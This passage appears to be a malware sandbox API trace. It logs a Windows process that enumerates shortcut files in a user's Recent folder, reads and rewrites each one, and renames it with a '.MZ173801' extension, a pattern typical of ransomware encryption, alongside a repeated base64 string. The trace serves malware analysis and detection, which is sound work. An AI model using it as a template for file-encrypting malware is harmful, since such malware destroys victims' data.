[0122.089] CloseHandle (hObject=0x288) returned 1 [0122.089] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soKgPrwly.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sokgprwly.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.090] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xedf, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xedf, lpOverlapped=0x0) returned 1 [0122.091] CloseHandle (hObject=0x288) returned 1 [0122.093] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soKgPrwly.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sokgprwly.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soKgPrwly.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sokgprwly.lnk.mz173801")) returned 1 [0122.094] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf3e2500, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf3e2500, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf3e2500, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xec6, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="SxW_.lnk", cAlternateFileName="")) returned 1 [0122.094] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.094] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SxW_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sxw_.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf3e2500, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf3e2500, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf3e2500, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xec6)) returned 1 [0122.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SxW_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sxw_.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.098] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.098] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.099] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xec6 [0122.099] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.099] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xec6, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xec6, lpOverlapped=0x0) returned 1 [0122.100] CloseHandle (hObject=0x288) returned 1 [0122.100] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SxW_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sxw_.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.102] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xec6, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xec6, lpOverlapped=0x0) returned 1 [0122.103] CloseHandle (hObject=0x288) returned 1 [0122.118] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SxW_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sxw_.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SxW_.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sxw_.lnk.mz173801")) returned 1 [0122.119] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9d5c00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9d5c00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf9d5c00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="tT3q4FRq.lnk", cAlternateFileName="")) returned 1 [0122.119] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.119] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tT3q4FRq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tt3q4frq.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9d5c00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9d5c00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf9d5c00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3e8)) returned 1 [0122.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.122] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tT3q4FRq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tt3q4frq.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.122] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.122] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.122] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x3e8 [0122.122] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.122] ReadFile (in: 